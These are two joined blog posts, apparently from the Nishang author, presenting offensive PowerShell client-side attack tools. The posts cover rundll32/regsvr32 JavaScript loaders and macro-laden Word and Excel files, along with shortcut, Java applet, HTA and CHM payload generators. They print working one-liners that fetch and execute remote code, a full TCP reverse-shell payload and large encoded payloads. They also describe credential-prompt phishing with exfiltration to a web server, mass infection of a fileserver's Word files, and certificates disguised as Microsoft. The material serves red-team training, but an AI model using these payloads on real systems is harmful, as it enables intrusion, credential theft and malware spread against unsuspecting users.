Practical use of JavaScript and COM Scriptlets for Penetration Testing

I have been following Casey Smith's brilliant work on JavaScript and COM Scriptlets. After looking at his work, I started playing with the code. I was interested in developing easy and customizable ways to use JavaScript, SCT files, rundll32 and regvr32 for...well...interesting things. After using some weeknights and weekends, I give you following PowerShell scripts (all available in Nishang):

 

Invoke-JSRatRundll

Based on JSRAT by Casey, Invoke-JSRatRundll uses rundll32.exe to execute JavaScript on a target which provides a Reverse PowerShell Shell over HTTP. Why? Because it is so cool. Also, it is file-less, the client part is just a single command and most importantly, another method to pwn targets :) The script and the client part are intelligent enough to figure out if there is a proxy in use and also to use first proxy from multiple proxies from Internet Explorer settings. Also, based on the method mentioned here, Invoke-JSRatRundll doesn't leaver rundll32.exe running on the target, when "exit" command is used from the spawned reverse shell, so a clean exit. 

The listener, on the attacker's machine, needs to be run from elevated PowerShell session.

This is how it looks like in action:

Start the listener

The above listener provides the following command to be run on a target. Please note that will need to remove newlines:

rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");w=new%20ActiveXObject("WScript.Shell");try{v=w.RegRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet%20Settings\\ProxyServer");try{q=v.split("=")[1].split(";")[0];h.SetProxy(2,q);}catch(e){h.SetProxy(2,v);}}finally{h.Open("GET","http://54.93.72.226:8080/connect",false);h.Send();B=h.ResponseText;eval(B)}

When the command is executed on the target:

We get a connect back on the listener:

Nice! A proxy aware,  file-less, Reverse PowerShell Session.

The client part (one-line command) can be used whenever we have the ability to execute a command on the target. Below is an example of using the client part with Out-Word from Nishang. Note that the the double quotes in client part need to be escaped by using double-quotes two times.

When a target user opens the Word file and chooses to enable Macros, the listener will receive a connect back from the target machine. Bingo!

One thing to note in Invoke-JSRatRundll is that a window pops-up temporarily whenever a command is executed on the target. It is because of the use of Exec method of WScript. The Run method which provides for silent execution could not be used as it did not return the output without storing the output temporarily somewhere on the target.

 

Invoke-JSRatRegsvr

This script utilizes regsvr32.exe for providing a Reverse PowerShell session over HTTP. Use of regsvr32, the technique which has been termed as "Squiblydoo", has added benefits. regsvr32.exe takes care of proxy by itself, the execution is file-less and AFAIK, leaves no traces on the target after a clean exit. 

The listener needs to be run from an elevated PowerShell on the attacker's machine. This is how it looks like in action:

 The above listener provides the following command to be run on the target:

regsvr32.exe /u /n /s /i:http://54.93.72.226:80/file.sct scrobj.dll

As soon as the command is executed on a target, using a client side attack, or any other method:

Great!

This script also shows a window momentarily on the target machine for the same reason as Invoke-JSRatRundll

 

Out-RundllCommand

Use this script to generate rundll32.exe one line commands. The generated command can be used on a target to run PowerShell commands and scripts or a reverse PowerShell session over TCP.

Here is how to generate a command. 

Now, if the rundll32 command is executed on a target using client side attack or other methods, the payload will get executed.

During testing it was not possible to execute larger scripts (specially the encoded ones due to the increased length). The added advantage with this script is it can be used with a simple netcat listener on a Linux machine as well. There is no need to run a special listener unlike in the above two scripts.

Start a netcat/Powercat listener. Run Out-RundllCommand with the -Reverse switch:

 When the generated rundll32 command is executed on the target:

Nice!

Also, the execution is silent on the target machine. Please note that this script leaves rundll32.exe running on the target machine.

 

Out-JS

This script is useful for client side attacks. Using this script, we can create "weaponized" JavaScript files which can be sent to a target user to execute PowerShell scripts and commands. Once a user executes the file (a double click opens the file using Windows Script Host, wscript.exe), the specified payload gets executed on the target with the privileges of the current user. The default name of the generated file is Style.js. 

Once again, it was not possible to execute large scripts, therefore, there is no option of specifying a script path. An example is included in the script to execute a reverse PowerShell session over TCP.

Out-JS -Payload "`$sm=(New-Object Net.Sockets.TCPClient('192.168.230.154',443)).GetStream();[byte[]]`$bt=0..65535|%{0};while((`$i=`$sm.Read(`$bt, 0, `$bt.Length)) -ne 0){;`$d=(New-Object Text.ASCIIEncoding).GetString(`$bt,0, `$i);`$sb=(iex `$d 2>&1 | Out-String );`$sb2=`$sb + 'PS ' + (pwd).Path + '> ';`$sb=([text.encoding]::ASCII).GetBytes(`$sb2);`$sm.Write(`$sb,0,`$sb.Length);`$sm.Flush()}"

Out-SCT

This script generates a SCT file which can be used with regsvr32.exe to execute PowerShell scripts and commands. The default name of the generated file is UpdateCheck.xml. This file needs to be hosted on a web server and the one-liner regsvr is to be executed on the target.  Note that, in case a PayloadURL is provided, two connections are made from the target environment. This first one to pull the SCT file and the second one to download the PowerShell script.

Like Out-JS only small scripts can be executed using Out-SCT. An example is included in the help of this script which explains usage of a Reverse PowerShell session over TCP without having to download a script. 

Usage with metasploit

Some of the above scripts can be used to get a meterpreter session in the following ways:

Create a PowerShell meterpreter payload using msfvenom:

Host the generated payload on a web server.

Using Out-SCT
Pass the URL where meterprer PowerShell script is hosted to Out-SCT.

Now, host the generated SCT file on a web server. When the generated regsvr32 command is executed on a target, this will happen:

Awesome! A reverse HTTPS meterpreter from a file-less execution which is also helpful in avoiding Applocker!

Using Out-JS
Pass the URL to Out-JS.

When the generated Style,js is executed on a target, we will get a connect back on msfconsole!

Using Out-RundllCommand
Pass the URL to Out-RundllCommand.

Once again, when the generated rundll32 command is executed on a target, a meterpreter will pop-up in the msfconsole.

That is all for this post, all the scripts are available in the GitHub repository of Nishang. Hope you liked it. Please leave feedback and comments.

Join me for a two days training "Offensive PowerShell for Red and Blue Teams" at Shakacon, Honolulu (2 days - July 11th - 12th, 2016) - https://www.shakacon.org/trainings/offensive-powershell-for-red-and-blue-teams-by-nikhil-mittal/

References/Further Readings
Casey and some of his work:
https://twitter.com/subTee
http://subt0x10.blogspot.in/2016/04/setting-up-homestead-in-enterprise-with.html
https://github.com/subTee/SCTPersistence
https://gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302

Detailed blog on JSRAT
http://en.wooyun.io/2016/01/18/JavaScript-Backdoor.html

Defenses against regsvr32:
http://www.brimorlabsblog.com/2016/04/very-quick-blog-post-on-squiblydoo.html
https://github.com/iadgov/Secure-Host-Baseline/tree/master/EMET#blocking-the-regsvr32-application-whitelisting-bypass-technique

Using PowerShell for Client Side Attacks

This blog post details everything I spoke about at DeepSec [slides here] plus much more.

 tl;dr: Try the new scripts from Nishang here.

Why using Client Side Attacks with PowerShell?

When I started working on this, I just thought of using PowerShell scripts and payloads for client side attacks and not of the generator scripts. There are many awesome Social Engineering tools out there, then why PowerShell? There are many reasons, first and foremost, coding a tool not only helps in understanding the attacks but also improves the grasp over that language. Other reasons, like the tremendous power with PowerShell, easy availability on Windows targets, no or low detection rate, easy post exploitation also motivated me.

With this blog post, a newer version of Nishang with "Client" category of attacks is also being released.
Lets have a look at the scripts one-by-one.
 

Out-Word

Out-Word, as the name suggests, outputs a MS Word file with auto executable macro which runs given PowerShell commands and scripts.
Lets see it in action.

PS C:\nishang> . .\Out-Word.ps1
PS C:\nishang> Out-Word -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process"

Above command, writes a Word file called Salary_Details.doc in the current directory. When the file is opened, the PowerShell command Get-Process will be executed on the target.

We could also use PowerShell one-liner download-execute to execute scripts on the target. For example, lets pass the PowerShell code generated using msfpayload (./msfpayload windows/x64/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1)

PS C:\nishang> Out-Word -PayloadURL http://192.168.254.1/powershell_payload.ps1

Now, if a target opens up the doc generated by above command, it would download and execute the PowerShell script resulting in a nice meterpreter session. Great!

We could also pass arguments to the script. This is helpful if the script being executed loads a function. This holds true for Nishang and other PowerShell security related toolkits too.

PS C:\nishang> Out-Word -Payload "http://192.168.254.1/Get-Information.ps1" -Arguments Get-Information

In the above command, we have passed the name of the function loaded by Get-Information.ps1 as an argument to actually execute the functionality of the script, Otherwise, it would end up just loading the function. Alternatively, we can make a function call in the script itself.

The ability to pass arguments is also useful if we want to use a script module like Powerpreter with Out-Word. Lets try calling a backdoor function from Powerpreter.

PS C:\nishang> Out-Word -Payload "http://192.168.254.1/Powerpreter.psm1" -Arguments HTTP-Backdoor http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis

We could also use Encoded scripts with the Out-Word to avoid communication with the Internet as in case with the above method. The Macro code seems to insert a new line if a long EncodedCommand is passed to it, which breaks the code. We could use the compression and encoding available with Invoke-Encode in Nishang to generate a much smaller command for an encoded string. Use –PostScriptCommand switch to use it. It is based on the Compress-Post script by Carlos here.

We must properly escape the single quotes (‘) in the generated command to be able to use it with Out-Word.

PS C:\nishang> Invoke-Encode .\Get-WLAN-Keys.ps1 –PostScriptCommand
PS C:\nishang> Out-Word –Payload ‘powershell -ExecutionPolicy Bypass -noprofile -c Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(''dZJRb9MwEMffLfk7nLI+tBJJxhNSRSuVUVC10kZL0UCAJje5xmaOHdmXtdPGd8dpqmnA8Itl3/1//zv7dq0pSFkDH5Hiay1MfIn3Hjh74OztGWdJ/nW1zvJFztlKeSlMBZm411aUsJeqkFC2dePhthPtrIPr5WwFjbM7pdEnnAXC+3l+cbXINov1irONVB6aE+GZVhkoNAoHhAc6kry4w/If3kbik7xuPcEWwbUGds7WIDyIslZGeXKCAoMsVEhAQdS59PXMv8w+Zcs5Z1kO077vYHLs+xhfLlaXnEmiZpymjfWysCUm1lXp6zfn533Eh1ClSLbbpLB16kUdDIWX9jY1/TNxdjbtcN8u6lIjvVOmVKYajn4EX+FEDcNRF4awBvvw7h4mYJC8hO4EAbV/6hseIUeNBcU5uUCBOBNE6AxEM63hs0cHWZ8bhdwP1qEoZLze/gwaeBjcJBvbK4ejXydPPDTWURmqDsanCl6UXmGjRYHDqJP9bdfdwRiiVwPTav0S/MicP2f+t0sjapxEg5uo+6zJcRx6IGdh/3NAp8HE3I0J6+Z7h0roQJz9Bg=='')))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();’

Notice the escaping of single quotes using two single quotes in the compressed script. Still, I was unable to use big scripts with this option. Your mileage may vary.

There is more to Out-Word than this. It could also be used to infect/arm/weaponize  - I love the word weaponize *giggles* - existing Word files on a machine. It does so by creating copies of the existing files loaded with the auto executable macro. We just need to pass –WordFileDir parameter with it.The data in the original Word is also copied in the new one.

PS C:\nishang> Out-Word -PayloadURL http://192.168.254.1/Evil.ps1 –WordFileDir C:\docfiles\

Use –Recurse parameter to perform the action recursively. Use the –RemoveDocx parameter to remove the original docx files.

Macro Security with Out-Word:

It disables the Macro Security on the machine the computer on which it is executed. That is, if you execute the PowerShell script on the target, the user will not see any warning about Macros. If you send the generated Word doc to the user, he will see the usual macro warning. Disabling Macro security is necessary otherwise we would be unable to write macros to the Word file.

To safely use Out-Word, we could use –RemainSafe parameter which re-enables the macro security after doing the stuff.

Now, imagine we get access to a fileserver and want to infect files there and increase the chances of users opening the infected files. Out-Word uses couple of small but smart tricks to try fooling users in case –WordFileDir is being used.

1. It copies the LastWriteTime from the .docx files and assign it to the generated .doc file. So at least to a normal user, the .doc files would not appear to be something newly appeared.

2. If the extensions for known file types are hidden on the machine, Out-Word adds .docx extension to the generated infected doc files. For example, for a file IT-Assets.docx it generates an infected file IT-Assets.docx.doc.

EDIT/UPDATE: Many are asking but it is not possible to add password protection to the Macros programatically. So if you want to add passwords to macros, it must be done manually.




The Macro code for both Out-Word and Out-Excel has been directly taken from Matt’s code here. Check out his blog for more interesting work on using PowerShell for client side attacks. Also, see this post by by Matthew Graeber on analysing Powerworm, couple of whose features have been implemented in Out-Word.

Out-Excel

Out-Excel works exactly same for Excel files as Out-Word for Word files. All the options and features are available for Out-Excel as well. We may have a better chance of a user trusting Macros in Excel than in Word.

Out-Shortcut

Lets see another interesting script, Out-Shortcut. It creates a shortcut which could be used to execute command and scripts on a target computer.

It could be used for executing commands:

PS C:\nishang> . .\Out-Shortcut.ps1<br /> PS C:\nishang> Out-Shortcut -Payload " -ExecutionPolicy Bypass -noprofile -c Get-Service"

Note the absence of powershell.exe in the payload above. Out-Shortcut could also be used for every attack method discussed above. Lets discuss features exclusive to Out-Shortcut.

It is easier to use encodedcomands with Out-Shortcut. We could just use Invoke-Encode with –OutCommand parameter and pass the generated encoded script to Out-Shortcut as below:

PS C:\nishang> Out-Shortcut -Payload " –EncodedCommand []"

Out-Shortcut assigns a default hotkey ‘F5’ to the Shortcut. This executes Shortcut whenever the key is pressed until the file is either deleted or machine reboot. A small but useful trick :) It also assigns icon of “explorer.exe” to the created shortcut. We could change both the options using –Hotkey and –Icon parameters as shown below:

PS C:\nishang> Out-Shortcut -PayloadUrl "http://192.168.254.1/Get-Information.ps1" -HotKey 'F3' -Icon 'notepad.exe'

Note that, the Hotkey works only if the script is executed on the target.

Out-Shortcut is inspired from the attack mentioned in this blog at Trend Micro.

Out-Java

Out-Java could be used for Java Applet attacks. The script generates a signed JAR and HTML which uses the applet tag to load the JAR. The JAR and HTML need to be hosted on a web server and as soon as the target opens that URL, we would be in!

The script by-default self signs the JAR. We must have JDK on our machine to be able to compile and sign the Java code.

As other scripts in Nishang’s client side attack category, Out-Java is able to execute commands, encoded scripts and download-execute scripts. Here’s a simple example:

PS C:\nishang> Out-Java -Payload "Get-Process" -JDKPath "C:\Program Files\Java\jdk1.7.0_25"

Again, we could pass encoded PowerShell scripts, even the bigger ones, without any issue.

If we the –NoSelfSign parameter, a non-signed JAR is generated which could later be signed with a trusted certificate.

The Java code uses Operating System architecture detection and calls 32-bit PowerShell even on 64-bit computers. So, in case we need to execute shellcode, it could always be 32-bit. For example, lets generate a 32-bit reverse_tcp meterpreter in PowerShell and pass it to Out-Java. Use (./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.254.183 exitfunc=thread R | ./msfencode -t psh > powershell_payload.ps1). Encode it with Invoke-Encode with  –OutCommand parameter and:

PS C:\nishang> Out-Java -JDKPath "C:\Program Files\Java\jdk1.7.0_25" Payload "-EncodedCommand SQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBSAGUAYQBkAGUAcgAgACgAJAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBEAGUAZgBsAGEAdABlAFMAdAByAGUAYQBtACAAKAAkACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACAAKAAsACQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAcABWAFoAZABiADkAcwAyAEYASAAwADMANABQADkAQQBHAEgANgB3AEUAVABtAFEAOQBXADAAWABCAFoAbwBsAGEAKwBhAHQAVABvAEwAVQBUAFoAYwBaAGYAcABBAG8AcQBqAFkAcQBTADYANQBFAE4AYwBuAGEALwBmAGYAeABYAHAAbQAwADUARABEAHQAZwBEADIASQBFAHMAbAA3AHoAegBuADMAZwA1AEwANgB0AC8AZgBKADcAUABvAHkAbwBYAGQAWABIAC8ASgBMADgAcABxADgANgBYAFUANwB5ADQAcwAwAG4AVwAxADMAZQBjAEUASAB2AGMAKwBzAHkARgBoAHEAVwA2AGQAeABtAHYAYQBHAHEAMgA1AG4AVgAwAFgAcABoAHAASwBTAGgAMQB6AGMAMgBDAE0AWABCAG0AUwBXADgAUgB0AGUAawBMAHQATgB3AGEAcwB3AFAAVQB2AFQAbgBBADcAMgBhACsAbgB1AEwASQA0AEwAVgBwAFkARwBxAFQAWQBaAEoALwBIAEQAKwA4ADMAZgBiAEQAOQBKAGEAbABzAEIAbABXAGUATABwADkAMQBoACsAYQBiAEkATwBhAE4AOAArAE8AcAAvAHEARABrAHYAVwBNAGoAWgBZAGkAMQB1ADgAVQBGAE4AUABUAC8AagB2AE4AaABFAEYAVwBjAE4AVwBUAHkAawBuADIAdAB0AHkAbABpAHMARgBWAHoAcABWADgAcwAzAFkAUgBGAHUAbQBlAEIAUwB6AHMAZwBsAGcAbgBpAGIAaABwACsAYQBsAGoAWABiAEwARAA0AE8AWgBGAHQAKwBwAFEAWAAvAFQAMgBGAHMAMgBiAFoAawBYAEEAWQBRAHMANQBMAHYAVwBjAHUAQwA3AHAAOQBvAFgAbQBXAFkAcQA5ADYAYgBiAHEAZgBiADYAVwBkAGYAYgBtAGYAcgB2ADQAcQBMADMANQBKAGIAVQBWAEsAaABmAHcAVABKAEoAUwBNAEIARgBiAEgAaQBnAGkAVwBiAGIAQQBOAHEAUwBiADkAZAAvAHQARwBWAEMASQB2ADAAUABtADQAeQAyACsAcQBSAFUAUwBaAG0ANQBTADYAawBqAE8ARABLADIAeQBxAGoANABGAFcAUwAwAFMANABzAFMANwA0AHUASwBtAEIAYgAvAHYATABFADIAWABLADEASQB2ADMAdwB6AC8AbAA5ADkATwB0AGkALwB1AFgARABWADAARgByAFAAaQBiAFUATQBCADkAWgBJAEkAYgBBAEUANABQAFoAdQBEAHcAWQBnAGcAbgBzAHUAMgBLAHcAeAAwAEoAMQAwAC8AMABFAC8ARwBNAEwATABCADIAdwBqAE0AVABnAHcAdABRADIAVwAxAE4ANgBtAE8AawBRAHgAcwByAFoAQgAyAHMATAB0AEMAVABpAGkAbgB3AHgATwBDAEUAcwBlAFUAZwBQADYANABrAE8AQQBiAGMAbwBrAEkAYgBBAFoAYwBQAGcAdwBaAG8AUABUAHcAaQBLAEQAMgBCAEIAdABWAEYAUQBJAEkAegBGAGgAVQBoAEEAegBNAEEAdABNAFcAVQBNAHIAdgArAFQASQBGAFQASQBqAGkAVQBsADEARgBOADQAdwBsADAAZgBBAG0ATQAyAEIAcQBXAEYAQQBBAGsAdwB1AEcAUABGAE4AWgBHAHkAYwBkAE4AVwBvAEIATQB0AGcAQwBKAEEAZQBtAGMAaQB6AFcAMgBWAFkAWQBUAHgAWABpAHgAbQBrAGgAagBQAHMAawBsAHgAKwBpAHcALwBkAHEAQQBEAFkAQgBnAG8AZABFAHMAQwBuAEsARABGAEIANwBjAEUAcABOAG0AUgBuAEYAbwBPAG0AbQBrAFIATQBOAHUAQgB5AGsAQQBnAHoAVgBVAEcAUABFADkAdQBVAGgAMgBBAEUANwBWADgAeAAvAFIANQA5AGwAUQAyAHQAQQAyAHQAdQB0ADUAeABKAEQAYwBPAGIAaQBRAEgANwBDADIAcwBqAGEAdQB0AHAARgB1ADMAcQByAEgAUABCACsAcAB3AEUAegBSAFgAMQBCAEEAbQBRADYAbgBhAFcAcgBxAFEASgBnACsAegBoAGcAVwAxAG0AdQBjAFMAbABuADAAbwBnAGwALwB2AGEAUQBHAFEAegA1AEgAbQAyAEkAYgBvAGcANABmAEoAbAB3AEoAagBxAEYAVwBrAHIAZQBWAEUAOQBwADMAawB0AFMAQgBpADYAawBoAGMAVgAyAG0AeAB0AEMARQBFAHUAQgAvAHQAbgBRADkAcwA2AEgAYwAwAE8ASwBZADIAaABuAHEAcgB4AGMAVQBnAGgAWQBpAGwAOAByAHUASAAxAHMAWQBBAGcAWAByAGcANABrAHEAQQB1AHIAUAB4AEoAYwBPAE0ALwBWAHUAbQBqAGsASQBIAGcARABuAEEAYwBsAFAAWgBGAHMAeQBUAG0ASABpAHMAWABaAGkANgBOAFkAcABXAEEAdgBpAEUAUQBPADgANwBzAG4AYwBPAHkAUQBoAGMASwBRAGwAMwB0AFIAMgBOADEAZwA2AEkARABlAFQAcABZAGwAUwBxAHgAbABkAFUAQgBHAHMAaABuAGgAegB2AFIAUQBUAGsAUQA5ADIAbQBmAEgAQwBPADkATAArAFUAaABSAGcAcgByADkAcQA0AEkAUgA5AGYATAB5AG8AaABqAHYAbABpAEcAawB5AFoATAAzAG0ANQBYAGsAdABPAEkAQQA5AEsANgBHAGgAYgBBAFQAbwBkAFAAMABNAEgAOABnAG0AcwA0AFkAYQBDAHEAWQBPAHgAdABRAGkASABFAEkAMABmAFIASQBRAHYATwBDADEAQQAzAGYANgBlAEwARgByAGkAdABZAG8AQgBQAHYAaABkAHoAKwAvAG0AZgA1AHoARgBUACsAZgBuAHYANAB2AHYAYQAvAE0AcgBQADUAMgAyAGYAcgAxAE0AWQB6AGsAUAArAFgAbwAxAG4AYwA3AEQAeAAwAEcAVAA3AHYAUQBkAHkAegA3AHgATgBTAGIATQBOAEkAZQBRAFkAWABIAEgAOQBBADYAQgBJAHMAawBMAE0AdQBqAGYATAA5ADUAZABVADcAcQA3AGYASwBpAFMAMQArAGEAcgA1AHAAUwBNAFUAawBaADAAaQBLAFAAeABzAEcAVgA0AGMAagBJAGsAMwA3AG8AZABjAGkAUgB6AC8AegBPAHoAcgBQADkAbQBWAG8ATgBHAFMASwBlAEwAWABLAHoAYQAxAG0AQgA0ADAAZwBRAGEARwBxADAAZgBpADIAVgB6AGIAMgBXAFEAOABaAEIAOABKADkAYwBWAEgAMQAxAFYAYQBkAHIAdAAvAEgAUAA4AC8AegBPAGQAdABuADQARABSAGEAaABHAGcAOQBPAEEAZQBSADMANQB3ADMAcQBUAHMAcwBGAFkAUABBAHYAWgBaAGMAcgBZAGoAawBDAEsARQBQAEoAZgAnACkAKQApACkALAAgAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApADsA"

In case, someone wants to run 64-bit shellcode, just remove the if condition from Java source. It has been marked with a comment.

Below options are hardcoded in Out-Java for certificate creation and JAR signing, change those for customization:

$KeystoreAlias = "SignApplet"
$KeyStore = "PSKeystore"
$StorePass = "PSKeystorePass"
$KeyPass = "PSKeyPass"
$DName = "cn=Windows Update, ou=Microsoft Inc, o=Microsoft Inc, c=US"

These are deliberately not asked for in the PowerShell parameters to keep the usage simple.


BTW, the latest Java version shows really ugly warning to the users, so using a valid certificate would increase chances of successful attacks. Still, I have not seen many targets who pay attention to such warnings. Also, the HTML generated using Out-Java loads a live Microsoft page in an attempt to make it look authentic. The better option is to clone a page and use it but that has not been done. If I feel like, that would be added in a future release.

Sadly, I was unable to achieve the PowerShell execution from applet for my DeepSec talk. Anyway, now it works.

References for this have been taken from David Kennedy’s Social Engineering Toolkit. Also, what got md working again on this was Piotr Marszalik’s Ps1encode

Out-HTA

Out-HTA uses HTML application (HTA) to achieve PowerShell command and script execution. It generates HTA and VBS files which need to be hosted on a web server and a target needs to click/open the URL.

Like the other client side attacks we have been discussing, Out-HTA accepts as a payload – commands, encoded scripts and download-execute scripts.

A quick example is shown below:

PS C:\nishang> Out-HTA -Payload "powershell -ExecutionPolicy Bypass -noprofile -c Get-Service"

Out-HTA also handles large encoded scripts really well, so that would be the best to use in this case.

The flip side of using HTA is the loud warnings Internet explorer shows to the user. If the user sees FireFox, it appears to be similar to downloading an executable. Out-HTA loads live page of Windows Defender from Microsoft’s website in an attempt to trick a user.

Out-CHM

Out-CHM creates Compiled HTML Help file (CHM) which could execute PowerShell scripts and commands on the target.

We need hhc.exe (HTML Help Workshop) on the attacker’s machine. HTML Help Workshop is a free Microsoft Tool and could be downloaded from below link:
http://www.microsoft.com/en-us/download/details.aspx?id=21138

A quick example of using Out-CHM is below:

PS C:\nishang> Out-CHM –PayloadURL http://192.168.254.1/ps_payload64.ps1 –HHCPath “C:\Program Files (x86)\HTML Help Workshop”

Out-CHM uses files from tcp/ip help file in Windows to make the file look authentic. We could always add more html files to make it look like a real document. Larger scripts, if used encoded, may result in problems.

Out-CHM is based on this tweet by @ithurricanept https://twitter.com/ithurricanept/status/534993743196090368

Common Features and shortcomings

- All scripts run PowerShell in a new process, so closing the attack vector, be it an attachment or a link, would have no effect on the script being executed.

- Each script accepts encoded scripts, commands and one line download-execute.

- The attacks are not very hard to detect manually. More needs to be done on that part.

Better/Complex Attacks

Lets see some more attacks which take us beyond just meterpreter. These are also on the slides of my talk but lets see some here too:

Exfiltration of credentials from a target:

PS C:\nishang> Out-Shortcut -PayloadURL http://192.168.254.1/powerpreter.psm1 -Arguments "Credentials | Do-Exfiltration –ExfilOption Webserver -URL http://192.168.254.183/test/data.php"

Above command calls the Credentials function from Powerpreter which shows a password prompt to target user. This prompt doesn’t go away till valid local or domain credentials are entered. The output of Credentials function is piped to Do-Exfiltration which exfiltrates those to a web server in encoded format. The web server must log POST requests.

The logs from the web server could be decoded using Invoke-Decode;.

Running a backdoor with new communications channel:

PS C:\nishang> Out-Excel -PayloadURL “http://192.168.254.1/Gupt-Backdoor.ps1” –Arguments "Gupt-backdoor -MagicString op3n –Verbose”

Above command runs the Gupt Backdoor on the target.

Executing  other client side attacks:

PS C:\nishang> Out-Java -PayloadURL “http://192.168.254.1/Out-Word.ps1” –Arguments “Out-Word -PayloadURL http://192.168.254.1/meterpreter_payload.ps1 -WordFileDir C:\ -Recurse”

Above command, uses Out-Java to execute Out-Word on a target. Out-Word then infects all Word files in C:\ recursively. Such files when opened, would execute meterpreter PowerShell script.

There are endless possibilities for such and even better attacks.

All the above discussed code has been committed to Nishang under the Client directory. You could grab it from here: https://github.com/samratashok/nishang

Again, the slides for my DeepSec talks could be found here.

Hope you enjoy this and the code and the post turns out to be useful.